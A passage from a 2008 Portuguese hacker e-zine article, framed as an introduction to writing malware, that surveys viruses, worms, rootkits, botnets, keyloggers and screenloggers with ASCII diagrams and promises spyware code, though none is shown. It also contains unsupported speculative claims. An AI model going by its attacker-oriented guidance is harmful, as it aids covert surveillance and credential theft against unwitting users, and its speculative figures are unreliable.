[ --- The Bug! Magazine _____ _ ___ _ /__ \ |__ ___ / __\_ _ __ _ / \ / /\/ '_ \ / _ \ /__\// | | |/ _` |/ / / / | | | | __/ / \/ \ |_| | (_| /\_/ \/ |_| |_|\___| \_____/\__,_|\__, \/ |___/ [ M . A . G . A . Z . I . N . E ] [ Numero 0x04 <---> Revisao 0x01 <---> Artigo 0x06 ] .> 23 de Junho de 2008, .> The Bug! Magazine < staff [at] thebugmagazine [dot] org > -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- Malware: Introducao a criacao de malwares. -+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+- .> 15 de Abril de 2008, .> Oscar Marques a.k.a F-117 < oscarbm [at] gmail [dot] com > ==> Vencedor nao e' aquele que ganha sempre, e' aquele que nao desiste de lutar. ==> Nao viemos nesse mundo para sermos eternos e sim fazer obras que prosperam para a eternidade. [ --- Manifesto: Ao longo da escrita deste paper, escutei e li muitas coisas que nao posso deixar de comentar aqui. Antes de tudo, peco desculpas por aqueles que estao lendo isto aqui e nao tem nada a ver com isso. Enfim, vamos aos fatos: 1- Nao posso deixar de expressar a minha profunda tristeza com as pessoas da cena. Muitos chegam, poucos sao lembrados... Se voce esta lendo este texto saiba que ele foi escrito por puro prazer e nao por dinheiro. 2- Ouvi comentarios do tipo: sera que vao me pagar por enviar meu paper? Ora! Esta zine e' feita por malucos para malucos. Ninguem aqui tem dinheiro sobrando para te dar dinheiro pelo seu paper idiota. Quem e' bom, escreve por prazer e nao por dinheiro. Espero que voces leitores lembrem-se disso antes de virarem porcos capitalis- tas. 3- Por favor, leiam esse trecho retirado de um paper de um amigo meu: Meleu! (clap, clap, clap!), o seguinte texto foi escrito em 2002 e ainda penso nele diversas vezes, vejamos: " Algumas pessoas podem falar "Ai que gracinha, o meleu e' tao sonhador." ou ate' mesmo "Putz! Coitado desse meleu. Quando ele precisar pagar suas contas ele vai mudar de ideia.". Bom... e' por causa de "sonhadores" como eu que voce esta' lendo esse texto. E por causa deles que voce usa a Internet. E e' por causa desses "malucos-que-trabalham-de-graca" que eu sei tudo que sei. Eu nao tenho dinheiro pra gastar fazendo cursos, tudo que aprendi veio da Internet, com material preparado por estes "malucos". E aqui estou eu, mais um "maluco-que-trabalha-de-graca", disponibilizando material pra voce usar livremente, da maneira que achar melhor! Espero que voce tambem se torne uma dessas pessoas que acham que podem fazer algum trabalho de util para outras pessoas e nao ficar apenas se preocupando em acumular riquezas." Por favor, leiam! Espero que esse pequeno manifesto mude um pouco a pouca mentalidade que alguns possuem e que esse pensamento seja elevado a um grau maior, visando o futuro e nao para simplesmente ter status, fama, grana e etc... Fica aqui o meu manifesto! [ --- Indice + <---> Manifesto + <---> Citacao + 1. <---> Objetivo + 2. <---> Introducao + 2.1 <-> Requisitos + 3. <---> Caracteristicas gerais + 3.1. <-> Tipos de malwares + 4. <---> Evolucao dos atacantes + 5. <---> Entendendo o Sistema Windows + 5.1 <-> Os executaveis + 5.2 <-> Windows API + 6. <---> Processos e Threads + 7. <---> Gerenciamento de memoria + 8. <---> Mecanismos de Gerenciamento do Sistema + 9. <---> Sistemas de arquivos + 10. <---> Mecanismos de seguranca + 11. <---> Os objetos + 12. <---> APIs do Windows usadas por malwares + 13. <---> Exemplo + 14. <---> Conclusao [ -- Citacao 'Para cada pessoa inteligente que se de ao trabalho de bolar um esquema de incentivo existe um exercito de outras, inteligentes ou nao, que inevitavelmente gastarao mais tempo ainda tentando frauda-lo. Trapacear pode ou nao ser uma caracteristica da natureza humana, mas sem duvida tem participacao crucial em praticamente todas as empreitadas do homem. A trapaca e', primordialmente, um ato economico: obter mais gastando menos.' Livro Freakonomics, pag. 26-27. Steven D. Levitt. Stephen J. Dubner. [ --- 1. Objetivo A ideia inicial ao comecar a escrever esse artigo, era apresentar de forma con- ceitual e pratica alguns exemplos de programas maliciosos que podem comprometer de forma significativa a Seguranca de uma rede e/ou sistema. O primeiro artigo publicado, busca mostrar de forma geral os conceitos teoricos e praticos inciais envolvidos no processo de desenvolvimento e comprometimento de Seguranca em Sistemas Operacionais da Microsoft (Windows). Os topicos abordados no decorrer desse documento, sao de fundamental importan- cia para o bom entendimento do funcionamento geral de alguns meios que possam ajudar a atacar e/ou monitorar acoes realizadas em um computador comprometido. Esse artigo nao ira apresentar nenhuma falha, ficando o estudo das mesmas re- servado para uma outra etapa desse trabalho. Dessa maneira, posso focar com maior eficiencia nos detalhes tecnicos e praticos, dando uma maior enfase ao conteudo de cada capitulo. Me comprometo com os leitores a publicar nas proximas edicoes da magazine, al- gumas das praticas de outros meios de exploracao empregadas nesses ambientes. Nessa edicao veremos como desenvolver um simples codigo para monitorar algumas atividades e recursos do computador alvo. [ --- 2. Introducao O que e' malware? Malware (MALicious softWARE, em portugues: Software Malicioso) e' a nomeclatura dadagenericamente a programas que tem um intuito 'maldoso' por tras de suas funcoes, esses intuitos podem ser para atacar, diminuir ou prevenir o uso de redes e/ou computadores. Malwares podem ser usados para roubo, dano, destruicao, sequestro etc... de da- dos que trafegam pela rede/sistema ou informacoes que estao armazenadas em dis- cos, midias e etc... tambem. No caso de invasao de privacidade para propositos de fraude ou roubo de identi- dade, programas que monitoram passivamente o uso do computador tambem sao co- nhecidos como malwares. Nesse primeiro artigo iremos abordar de maneira ampla e geral sobre as diversas nomeclaturas existentes no meio academico para a definicao de alguns tipos de codigos e propositos que foram desenvolvidos com o passar dos anos na Historia da Informatica. Na parte final veremos como criar um simples codigo para monitorar algumas atividades, recursos e dados do computador alvo, como ja dito antes. Espero que na proxima edicao eu receba emails de duvidas, agradecimentos, re- clamacoes, sugestoes, xingamentos e etc... visto que no pequeno artigo publica- do anteriormente sobre LFS o interesse foi baixo. [ --- 2.1 Requisitos Cerebro. Computador com sistema operacional Windows. Compilador (Object Pascal). Acesso a Internet. Etica (depende de cada um, tenha um 'bom senso' com as informacoes aqui conti- das). Conhecimentos em: - Delphi (Object Pascal). - Windows (Fundamentos de Administracao). - Rede (Fundamentos) . [ --- 3. Caracteristicas gerais Malwares tem como funcoes principais: - Infiltracao Stealth (o usuario nao percebe a sua instalacao). - Execucao Stealth (o usuario nao percebe a sua execucao). - Danos em arquivos. - Desempenho do computador reduzido (malwares utilizam recursos como acesso a rede, leitura/escrita em arquivos, processador, memoria e etc...). - Alteracao de dados. - Acesso a informacoes nao autorizadas. - Sistema Operacional desconfigurador e/ou alterado. - Controle de Hardware (atacante com acesso a webcam). - entre outros... [ --- 3.1 Tipos de malwares Os malwares podem ser listados da seguinte maneira: Malware de infeccao: - Virus - Worms Funcao principal = Espalhar se por arquivos no computador ou pela rede. Virus- Famosos na Informatica, ao longo dos anos tem causados prejuizos enormes a empresas e usuarios domesticos. Tal como um sistema biologico, o virus, in- fecta o sistema faz copias de si mesmo e tenta se espalhar para outros computa- dores, utilizando-se de diversos meios e tecnicas de programacao. Ao longo dos anos empresas de seguranca tem travado uma batalha enorme contra programadores que desenvolvem codigos cada vez mais furtivos, destruidores e com alto poder de replicacao. Alguns afirmam que empresas de anti-virus pagam bons programadores para criar/remover virus dos principais sistemas utilizados em empresas e uso domesticos (Windows/Linux). Acredito ser algo possivel e valido, afinal quem nao gostaria de espalhar a doenca e ja ter a vacina pronta para aqueles que foram infectados? Algo altamente rentavel economicamente. E por que nao contratar quem desenvolve virus para ajudar na remocao de outros? Diagrama: +--------------------------------------------------------------------------+ | | | ---- |--------------| | | |0101| |Legenda: | | | |1010|------------------+ | -()- = virus | | | |-()-| | ---- |--------------| | | ---- | |0101| | | | +---->|1010|----------+ | | +-> Arquivo com virus | | | | | | | ---- ---- | | | | |0101| | | | +----------->|1010|---+---> Arquivos | | | | | | saudaveis | | | ---- ---- | sendo | | | |0101| | infectados | | +---->|1010| | com codigos | | | |----------+ do virus | | ---- | +--------------------------------------------------------------------------+ Worms- Um exemplo de codigo que tem como unica funcao se auto replicar. Utiliza a rede para se auto enviar. Explorando falhas em sistemas nao atualizados ou usando outros meios como email, programas de mensagens instantaneas, IRC, programas de compartilhamentos de arquivos que usam redes P2P. Um exemplo classico e conhecido foi o Morris worm ou Internet worm foi um dos primeiros worms distribuidos pela Internet; trata-se tambem do primeiro worm a receber atencao da midia. Ele foi escrito por Robert Tappan Morris Jr., estudante da Cornell University e para despistar sua origem, foi disseminado a partir do MIT em 2 de Novembro de 1988.Curiosamente, hoje Robert Morris e' professor do MIT. Ele foi iniciado em 2 de novembro de 1988, e rapidamente infectou um grande numero de computadores pela Internet. Ele se propagou atraves de uma serie de erros no BSD Unix e seus similares. Morris foi condenado a prestar 3 anos de servicos `a comunidade e a pagar uma multa de US$10.000. Recentemente um grande numero de worms foram criados e espalhados. Com o uso da Internet cada vez maior a cada dia que passa, os worms estao em alta. Afinal mais computadores estao se conectando a rede e consequentemente muitos estao vulneraveis/nao atualizados. Dados provam que um worm pode em 20 minutos conseguir uma World Domination (palavra inglesa que significa Dominacao Mundial). Um worm bem programado e explorando uma falha 0day (falha nao documentada, logo sem solucao) consegue realizar nesse tempo ou bem menos estar sendo executado em todos os continentes do mundo. Uma de suas funcoes e' tentar acessar diversas redes randomicamente e assim conseguir estar se replicando em diversos computadores em varios locais ao mesmo tempo. Diagrama: +--------------------------------------------------------------------------+ | | | Ataque ---> | | +--------+ +--------+ | | | HOST A |------+ Ataque ---> +--->| HOST E | | | +--------+ | +--------+ | +--------+ | | | +---->| HOST B |---+------+ | | +-> Worm | +--------+ | +--------+ | | | | +--->| HOST F | | | | +--------+ | | +--------+ | | +---->| HOST C | | | | | | +--------+ | | +--------+ | | | Ataque ---> | +--->| HOST G | | | | +--------+ | | +--------+ | | +---->| HOST D |---+------+ | | +--------+ | | | +-> HOST B e HOST D | | vulneraveis ao Worm | | Infectados, agora passam | | a atacar novos hosts. | | | +--------------------------------------------------------------------------+ Malwares secretos: - Trojans - Rootkits - Backdoor Funcao principal = Instalar e permitir o controle remoto sem interacao com usuario. Trojans (Cavalo de Troia)- Trojan e' um programa que diferente de um virus, contem ou instala codigos maliciosos. O termo vem do famoso e classico mito do Cavalo de Troia enviado pelos gregos aos troianos (o cavalo de madeira continha soldados dentro, que a noite mataram os guardas e abriram os portoes para o exercito grego invadir). Trojans parecem ser interessantes e usuais (sistemas de gerenciamento remoto podem e devem ser considerados trojans, servem tanto para monitorar funciona- rios como administrar remotamente computadores na rede) e sem esquecer que podem ser danosos para quem os desconhecem. Trojans nao podem ser operados autonomaticamente, em contraste com os virus e worms. Lembram que eu disse que os gregos enviaram o Cavalo? Trojans dependem da acao do usuario para se instalarem no sistema alvo. Para ele se replicar, ele precisa ser executado por uma nova vitima. Nesse ca- so, o criador do trojan usa Engenharia Social para que seu codigo seja espalha- do (ou o codigo do trojan ja possui funcoes para recolher/enviar emails validos do computador atacado). Sao formados em duas partes: servidor (que e' executado na maquina alvo, libe- rando acesso ao atacante) e cliente (executado pelo atacante para acessar a ma- quina alvo). O servidor se instala e se oculta no computador da vitima. Diagrama: +--------------------------------------------------------------------------+ | | | +--------+ | | | HOST A |---> Atacante | | +--------+ Ataque ---> | | | | | | +---------+ | | +------->| Cliente |<---+ | | +---------+ | | | | | | | +----------+ | | +----->| Servidor |<------+ | | +----------+ | | | | | | +--------+ | | Alvo <---| HOST B | | | +--------+ | | | +--------------------------------------------------------------------------+ Rootkits- Sao um pacote de codigos que tem como principal objetivo camuflar processos, arquivos ou dados do sistema. Atualmente sao usados por atacantes que querem manter um tempo de acesso maior na maquina alvo sem serem detectados/removidos. Varios sistemas ja possuem rootkits como: Windows, Linux, Solaris, FreeBSD etc... Eles quase sempre modificam partes do sistema operacional ou se instalam como drivers ou modulos do kernel. Conseguem se manterem ocultos pois monitoram e interceptam chamadas de sistema (system calls),alterando o resultado final. Exemplo: o sistema faz um pedido para a leitura ou abertura de um arquivo (seja a mando de algum programa de se- guranca ou pelo proprio usuario). O rootkit monitora e intercepa essa chamada e filtra a informacao, permitindo somente a passagem de informacoes que nao irao alertar o sistema ou programas de seguranca no computador alvo. Rootkits realizam hooks nas funcoes de tabela (IAT, SSDT, IDT, etc...) ou rea- lizam Inline Hooking (alteram os primeiros code bytes de uma funcao). Desta forma, qualquer ferramenta ou anti-virus ficam impossibilitados de encon- trar o arquivo malicioso. Os rootkits de *NIX quase sempre substituem os programas mais comuns, como os programas que listam arquivos, de modo que o administrador do sistema, ao listar os arquivos, nao veja a presenca dos arquivos do trojan. No comeco os rootkits serviam para manter o acesso root a maquina alvo, por is- so esse nome root kit (kit de acesso ao root). O termo rootkit esta sendo subs- tituido por stealth (algo como furtivo, escondido, etc...) No Windows a infeccao se da na memoria toda vez que um processo requisite algu- ma informacao sobre os arquivos maliciosos, a informacao sera anulada antes de retornar ao programa. O software vai acreditar nos resultados obtidos apos a requisicao. Diagrama do 'ls' alterado: +--------------------------------------------------------------------------+ | | | Comando enviado ---- > | | | | +--------+ +--------+ | | | HOST A |----------->{ ls -al } | | +--------+<-+ +--------+ | | | | | | | +------------+ +-> 'ls' alterado | | | | | <--- Ataque +----> Retorno do 'ls' alterado | | | +--------------------------------------------------------------------------+ O binario do ls foi rootkitado, isto e', teve sua programacao alterada para esconder diretorios e arquivos de uma pasta, previamente configurado Vejamos como ocorre com o Windows: Diagrama do Kernel normal: +--------------------------------------------------------------------------+ | | | SDT SST | | +----------------+ +--------------------------+ | | | Service Table +------> | NTSystemQueryInformation +----------+ (1) | | +----------------+ +--------------------------+ | | | | Counter Table | | | | +----------------+ | | | | Service Limit | | | | +----------------+ | | | | Argument Table | | | | +----------------+ | | | NtOskernel.exe | | | +--------------------------+ | | | | NTSystemQueryInformation | <---+ | | +--------------------------+ | | | +--------------------------------------------------------------------------+ Diagrama do Kernel alterado, realizando alteracao da tabela de handlers: +--------------------------------------------------------------------------+ | | | SDT SST | | +----------------+ +--------------------------+ (1) | | | Service Table +------> | NTSystemQueryInformation +----------+ | | +----------------+ +--------------------------+ | | | | Counter Table | | | | +----------------+ | | | | Service Limit | | | | +----------------+ | | | | Argument Table | Hook.sys | | | +----------------+ +---------------------------------+ | | | | (inicio) | | | | +-----+ CALL [NTSystemQueryInformation] |<------+ | | | | (fim) | | | | +---------------------------------+ | | (2) | | | | NtOskernel.exe | | | +--------------------------+ | | +------------>| NTSystemQueryInformation | | | +--------------------------+ | | | | | | | | | | | +--------------------------------------------------------------------------+ Backdoor- Metodo de ultrapassar autenticacao or assegurar acesso remoto ao computador alvo enquanto o mesmo permanece oculto de uma inspencao casual. Backdoors podem ser instaladas e permanecerem no sistema ate que sejam removidos. Backdoors podem ser inseridos propositalmente pelos criadores do sistema ou podem ser obra de terceiros mal intencionados para acessar informacoes e/ou destruir alem disso certas backdoors dao acesso a shell, permitindo a execucao remota de comandos. Backdoor e' uma palavra inglesa que significa 'Porta dos Fundos', por onde uma pessoa pode entrar. Imagine uma casa, o ladrao (atacante) vai tentar pular o muro, arrombara porta, arrombar a janela, cortar grades, destelhar a casa e etc... Porem todos esses atos irao chamar a atencao de quem passa pela rua... se a casa ter uma porta nos fundos, pode ter certeza que ele vai tentar entrar por la, afinal qual ladrao nao tenta ser discreto? Um local vazio, sem ninguem para perceber sua movimentacao e afastado? Sem duvidas, o melhor local para atacar! A vantagem do Software Livre em relacao a Software Proprietario se da quando o codigo livre pode ser auditado e lido por todos. Facilitando a deteccao de codigo malicioso, com o codigo fechado isso pode acontecer porem o tempo gasto sera maior e nao sao todos os usuarios que sabem meios e tecnicas para descobrirou se um software realmentetem em suas funcoes algo malicioso que pode permitir acesso remoto nao autorizado. Recentemente em 2003, ocorreu uma tentativa de inserir uma backdoor remota no kernel do Linux. Nesse caso, 2 linhas apareceram no kernel parecendo ser um erro de digitacao porem os codigos davam acesso root a funcao sys_wait4. Backdoors podem ou nao serem maliciosas, depende de quem as usas. Alguns dispositivos comoo Clipper chip utilizado pelo Governo Americano possui uma backdoor instalada ustamente para a recuperacao de dados esquecidos. Tem seu uso benefico porem nem todos podem ter acesso a essa opcao, visto que muitos irao utilizar para obter ganhos e/ou danificar/alterar dados supostamente secretos. Diagrama: +--------------------------------------------------------------------------+ | | | +--------+ | | | HOST A |---> Atacante | | +--------+ | | | | | | +------+ | | | | /--\ | | | | || || | | | | \--/ | | | | Ataque ---> +-----------+ | | | | Mainframe |---> Servidor de | | | <--- Dados ---> +-----------+ grande porte | | | | | com acesso | | +-------------------------------------+ +-> Alvo secreto. | | | +--------------------------------------------------------------------------+ Malwares para ganhos: - Spyware - Adware - Ransomwar - Botnets - *Loggers - Keylogger - Screenlogger - Videologger - Dialers Funcao principal = Usar recursos do computador alheio para ganhar dinheiro. Spyware- Um programa automatico que recolhe informacoes sobre o usuario, sobre seus costumes na Internet e transmite esta informacao a uma entidade externa na Internet, sem o seu conhecimento e o seu consentimento. Os spywares podem ser desenvolvidos por empresas que desejam saber os costumes de cada usuario na Internet. Muitas empresas fabricam esses codigos e vendem os resultados a outras que com eles em maos, passam a tracar planos e metas de ne- gocios. Quase sempre sao detectados por sistemas de seguranca e um novo codigo e' lan- cado pela empresa dificultando a sua remocao. Os spyware costumavam vir legalmente embutidos em algum programa que fosse sha- reware ou freeware. Sua remocao era por vezes, feita quando da compra do software ou de uma versao mais completa e paga. Alguns codigos maliciosos usam spywares para monitorar e roubar dados do usua- rios tais como logins, emails, senhas de acesso a sistemas bancarios e finan- ceiros. Veremos eles detalhadamente. Diagrama: +--------------------------------------------------------------------------+ | | | +--------+ | | | HOST A |---> Alvo | | +--------+ | | | | | | +--------+ | | +-------->| Google | | | | +--------+ | | | | | | | | | | | +--------+ | | +-------->| Yahoo | | | | +--------+ | | | | | | | | | | | +--------+ | | +-------->| Orkut | | | +--------+ +-> Atacante | | | | | | | +--------+ | | +--------->| HOST A |---> Atacante recebendo todos | | +--------+ os sites/dados acessados | | pelo alvo. | | | | | +--------------------------------------------------------------------------+ Adware- Malware que tem a unica funcao de distribuir propaganda. Adware e' a juncao de duas palavras Ad + ware ( Advertisment software, software de propa- ganda). Apos ser instalado no computador, esse passa a receber uma chuva de propagandas de diversos produtos sem que o usuario acesse paginas desses produ- tos. Inicialmente os adwares procuravam exibir propagandas em janelas, chamados de banners, pequenas janelas de propagandas, embutidas em softwares de terceiros. Caso o usuario gostasse deste software, poderia adquirir uma versao mais avan- cada, paga, livre destas propagandas. Quase sempre os adwares tambem tem funcoes de spywares e monitoram o que a vi- tima acessa e repassa aos vendedores para definir estrategias, um exemplo: a pessoa acessa muito sites de vendas de carros, logo as propagandas que ela ira receber serao de precos de carros (vendidos quase sempre no exterior, no Brasil existem poucos casos de divulgacao em adwares). Muitos alvos ja sofreram constragimentos em computadores infectados com adware, quem nao foia casa de um amigo e viu surgir anuncios eroticos na tela do compu- tador? Tempos atras uma professora nos EUA foi demitida de sua funcao pois co- mecaram a surgir anuncios eroticos na tela do computador da sala de aula. Adwares as vezes fazem propagandas que dao acesso a instalacao de outros malwa- res. Diagrama de um adware jogando um pop-up/banner do provedor TERRA no provedor UOL. +--------------------------------------------------------------------------+ | | | <--- Dados ---> | | | | <---- Pop-up | | +----------------------------------+ | | | +--------------------+ | | | | | | | | | +--------+<--+ | <--- Dados ---> | | | | | HOST A |---> Alvo | | | | | +--------+<---------+ | | | | | +---> Atacante | | | | | +--------+ +--------+ | | | +----------->{ Adware }--------->| UOL | | | | <--- Dados ---> +--------+ +--------+ | | | | | | | | | | | | Ataque ---> +--------+ | | | +------------->| TERRA |-+ | | +--------+ | | | | | +--------------------------------------------------------------------------+ Ransomware- Tipo de malware peculiar e pouco utilizado. Refere-se a programas maliciosos que cobram resgate. Um exemplo e' o Arhiveus-A, que compacta arqui- vos no micro da vitima num pacote criptografado. Depois informa que os documen- tos so serao recuperados se a vitima fizer compras em tres farmacias online. Entao recebe uma senha de 30 digitos para reaver os arquivos. Imagine isso em um worm atacando uma grande empresa? >=) Diagrama: +--------------------------------------------------------------------------+ | | | ---- | | |0101| | | |1010|-----+ +--> Arquivos sendo compactados pelo ransomware. | | | | \ | (serao apagados permanentemente apos compactao). | | ---- \ | | | \ | Ataque ---> | | ---- \ | ---- | | |0101| \ | +------------+ |XX0?| | | |1010|----------+-+-{ Ransomware }---------> |??10|--> Novo arquivo | | | | / +------------+ | | compactado com | | ---- / ---- o conteudo dos | | / arquivos alvos | | ---- / (agora tendo | | |0101| / acesso unico | | |1010|-----+ mediante | | | | senha ou paga- | | ---- mento). | | | +--------------------------------------------------------------------------+ Botnets- Botnet e' o termo que significa uma colecao de softwares robos, ou (ro)bot, que e' executado automaticamente dando acesso ao sistema para o ata- cente. O criador da botnet pode controlar o grupo de maquinas infectadas remo- tamente, usualmente atraves de um canal de comunicacao tal como o IRC. Cada maquina da Botnet e' classificada como Zombie (zumbi). E cada zumbi, como o nome diz, nao sabe o que esta fazendo, apenas e' controlado por alguem com intencoes maldosas. Quase sempre sao programados de acordo com a RFC 1459 (IRC). Geralmente o criador consegue instalar essa colecao explorando falhas no siste- ma alvo, alem de conseguirem tambem acessar servicos e se espalharem usando se- nhas fracas ou padrao. Quanto mais vulnerabilidades a botnet conseguir explo- rar, mais valiosa ela se torna. Botnets sao criadas para: DDOS, Spam, cliques (para ganhar dinheiro), roubo de seriais de programas, senhas e fraudes financeiras. Estimam-se que 1/4 computadores do mundo sao/fazem parte de uma rede de bots. (roBOT NETwork). Botnets sao montadas quase sempre por atacantes que se conhe- cem e mantem uma relacao de amizade. As vezes ocorrem brigas em relacao a ma- quinas e quais ataques podem ou nao podem serem realizados na Botnet. Maquinas de governos, empresas, universidades sao usadas para a rede, devido a grande largura de banda que essas maquinas possuem, sao alvos principais dos atacantes. Exemplo de uma formacao e exploracao da botnet: 1- Atacante disparando ataques contra alvos (vulneraveis ou nao). Diagrama: +--------------------------------------------------------------------------+ | | | +-> Atacante | | | | | +--------+ Ataque ---> | | | HOST A |-----------+ +--------+ | | +--------+ +----------------------> | ALVO A | | | | +--------+ | | | +--------+ | | +----------------------> | ALVO B | | | | +--------+ | | | +--------+ | | +----------------------> | ALVO C | | | | +--------+ | | | +--------+ | | +----------------------> | ALVO D | | | +--------+ | +--------------------------------------------------------------------------+ 2- Alvos vulneraveis agora estao sob o comando do atacante. Acessam uma rede de IRC para receber comandos (command-and-control, comando e controle). Diagrama: +--------------------------------------------------------------------------+ | | | +--------+ +--------+ | | | ALVO A |<-------- <--- Dados ---> |-->| HOST A | | | +--------+ \ | +--------+ | | \ | | | | +--------+ \ +---------+ | +-> Atacante | | | ALVO B |<-----------+-------->| IRC |<- | | +--------+ / +---------+ | | / | | | +--------+ / +-> Servidor de IRC | | | ALVO D |<-------- | | +--------+ | | | +--------------------------------------------------------------------------+ 3- Um spammer compra o acesso a botnet para enviar spam. Diagrama: +--------------------------------------------------------------------------+ | | | +--------+ +--------+ | | | HOST A |<------------ $$$ -------------| HOST B | | | +--------+ +--------+ | | | <--- Pagamento ---- | | | +-> Atacante +-> Spammer | | | +--------------------------------------------------------------------------+ 4- Spammer envia instrucoes aos zumbis para disparar Spam/DDoS/Spyware/Adware. Spam: +--------------------------------------------------------------------------+ | | | +--------+ +--------+ | | ----| ALVO A |<-------+ <--- Dados ---> +-->| HOST B | | | | +--------+ \ | +--------+ | | | \ | | | | | +--------+ \ +---------+ | +-> Spammer | | | --| ALVO B |<----------+--------->| IRC |<- | | | | +--------+ / +---------+ | | | | / | | | | | +--------+ / +-> Servidor de IRC | | | |+| ALVO D |<-------+ | | | ||+--------+ | | | || +--------+ +-------------------+ | | | |+---------------------->| MAIL |<-------->| usuario1@host.com | | | | | +--------+ +-------------------+ | | | | <--- Dados ---> +---------------------------------------+ | | | | | | | | | +--------+ +-------------------+ | | | | +----------------------->| MAIL |<-------->| usuario2@host.com | | | | | +--------+ +-------------------+ | | | | +---------------------------------------+ | | | <--- Dados ---> | | | | +--------+ +-------------------+ | | | +------------------------->| MAIL |<-------->| usuario3@host.com | | | | +--------+ +-------------------+ | | | Ataque ---> | | | | +-> Servidores de Email <---------------+ | | | +--------------------------------------------------------------------------+ DDoS: +--------------------------------------------------------------------------+ | | | +--------+ +--------+ | | ----| ALVO A |<-------+ <--- Dados ---> |-->| HOST B | | | | +--------+ \ | +--------+ | | | \ | | | | | +--------+ \ +---------+ | +-> Atacante | | | --| ALVO B |<----------+--------->| IRC |<- | | | | +--------+ / +---------+ | | | | / | | | | +--------+ / | | | |-| ALVO D |<-------+ | | | ||+--------+ | | | || +--------+ /------------------\ | | | ||---------------------->| ALVO |<-- [x] -->| INTERNET | | | | | +--------+ \------------------/ | | | | <--- Dados ---> | | | | | | | | | | +--------+ /------------------\ | | | |----------------------->| ALVO |<-- [x] -->| INTERNET | | | | +--------+ \------------------/ | | | | | | | <--- Dados ---> | | | | +--------+ /------------------\ | | |------------------------->| ALVO |<-- [x] -->| INTERNET | | | +--------+ \------------------/ | | Ataque ---> | | | | | | +-> Servidores offline. | | | +--------------------------------------------------------------------------+ Spyware/Adware: +--------------------------------------------------------------------------+ | | | +--------+ +--------+ | | +-->| ALVO A |<-------+ <--- Dados ---> +-->| HOST B | | | | +--------+ \ | +--------+ | | | \ | | | | | +--------+ \ +---------+ | +-> Atacante | | | +>| ALVO B |<----------+--------->| IRC |<-+ | | | | +--------+ / +---------+ | | | | / | | | | +--------+ / | | | | | ALVO D |<-------+ +-> Hospedagem do Spyware | | | |>+--------+ | | | | || +-----------+ | | | |+---------------------->| Spyware | | | | | +-----------+ | | | | <--- Dados ---> | | | | | | | | +-----------+ | | | +------------------+---->| Adware | | | | | +-----------+ | | | <--- Dados ---> | | | | | | +-> Hospedagem do Adware | | | | | | +--------------------+ | | | +--------------------------------------------------------------------------+ 5- Botnet cresce. Zumbis atacam outras maquinas, as vulneraveis serao infectadas e acessarao ao IRC, dando controle e mais acesso ao atacante. Novos zumbis irao atacar outras maquinas tambem! Diagrama: +--------------------------------------------------------------------------+ | | | +--------+ +--------+ | | +-->| ALVO A |<-------+ <--- Dados ---> +-->| HOST A | | | | +--------+ \ | +--------+ | | | \ | | | | | +--------+ \ +---------+ | +-> Atacante | | |+->| ALVO B |<-----------+-----+-->| IRC |<+ | | || +--------+ / | +---------+ | | || / | | | | || +--------+ / | +-> Servidor de IRC | | ||+>| ALVO D |<-------+ | | | ||| +--------+ | | | ||| | | | ||| Ataque ---> | | | ||| | | | ||| +--------+ <--- Dados ---> | Ataque ---> +--------+ | | ||+>| ALVO E |>-----------------+--------------->| ALVO I | | | || +--------+ | +--------+ | | || | | | | | || +--------+ <--- Dados ---> | Ataque ---> +--------+ | | |+->| ALVO F |>-----------------+--------------->| ALVO J | | | | +--------+ | +--------+ | | | | | | | | | +--------+ <--- Dados ---> | Ataque ---> +--------+ | | +-->| ALVO G |>-----------------+--------------->| ALVO K | | | +--------+ +--------+ | | | | | | +-> Maquinas vulneraveis recenemtemente | | | atacadas e agora atacando novos alvos. | | | | | | Maquinas sofrendo ataques <-+ | | de novos zumbis. | | | +--------------------------------------------------------------------------+ Ciclo de vida de um zumbi: - Estabilizar acesso ao atacante (command and control). - Procurar novos hosts para atacar e instalar mais zumbis na botnet. - Atualizacao com novo codigo. - Aguardar ordens do atacante. Ciclo de vida de uma botnet: - Atacante configura parametros dos zumbis. - Atacante libera ou busca novos zumbis. - Zumbis se multiplicam. - Zumbis atacam outros zumbis, tomando os de outro atacante (take over, not take cover :) ). - Botnet pode crescer ou se manter. Loggers- Tem como funcao monitorar entradas de dados do teclado. Keylogger- Programas que enviam para os atacante, tudo o que e' digitado no te- clado. Funciona como um registrador de teclado onde o codigo malicioso monitora toda as teclas digitadas e nomes das janelas que estas teclas sao inseridas, gravando tudo em texto ou binario que e' enviado ao atacante via email ou ftp. Keylogger sao perigosos porque conseguem senhas de acesso e alem disso, conse- guem ser intrusivos a ponto do alvo ter quase toda a sua privacidade perdida, devido ao fato que muitos alvos utilizam mensageiros instantaneos. Quem gostaria de ter toda a sua conversa monitorada? Quase todas as empresas hoje me dia fazem isso, para saber o que e com quem seus funcionarios conver- sam/trocam dados. Screenlogger- Malware que fica anexado a um processo verificando as suas chama- das. Malwares que atacam com essa tecnicas preferem sites de home banking. Eles se anexam ao IE/FF e ficam monitorando os sites que o usuario acessa, caso seja acessado um dos sites que esta' na lista de alvos do malware, ele vai esperar a pagina ser carregada e vai killar o processo e/ou sobrepor a tela de entrada de dados, obviamente, ele vai colher todos os dados sigilosos necessarios. Diagrama: +--------------------------------------------------------------------------+ | | | +---------------+ | | | | | | | +---------+ | | | | |0|4|3|2|8| | | | | +---------+ | | | | |5|1|7|6|9| | | | | +---------+ | | | +__|____________+ | | + | | | | | | | | +----------> Tela falsa (colhendo os dados). | | | | | +--------> Tela original. | | | +--------------------------------------------------------------------------+ Videologger- Programa que filma todo o movimento do mouse e os cliques por ele efetuados na tela do computador. Este malware usa duas bibliotecas padroes (msvfw.dll and avifil32.dll ) do sis- tema Windows (XP, 2k* etc...) Sendo assim o malware nao precisa adicionar ar- quivos de terceiros para iniciar a gravacao dos videos clipes, basta usar as bibliotecas do sistema. As bibliotecas do sistema sao padrao e por isso tem uma vasta documentacao cri- ada pela Microsoft para ajudar os desenvolvedores. Todo o movimento do mouse e seus cliques sao gravados, pegando as senhas de te- clados virtuais. Apos isso, o disco salvo em disco e' enviado via e-mail para o atacante. Nesse artigo veremos o codigo de um malware que faz um screenshot da tela e nos salva em disco, alem de enviar o screenshot para nosso email. Diagrama: +--------------------------------------------------------------------------+ | | | +---------------+ +---------------+ | | | | | Arquivo c/ a | <-----+ | | | +---------+ | | gravacao | | | | | |0|4|3|2|8| | +---------------+ | | | | +---------+ | | | | | |5|1|7|6|9| | Este arquivo vai ser | | | | +---------+ | enviado para o | | | +__|____________+ atacante | | | | | | | | | | | | | | +----------> Tela falsa (colhendo os dados). | | 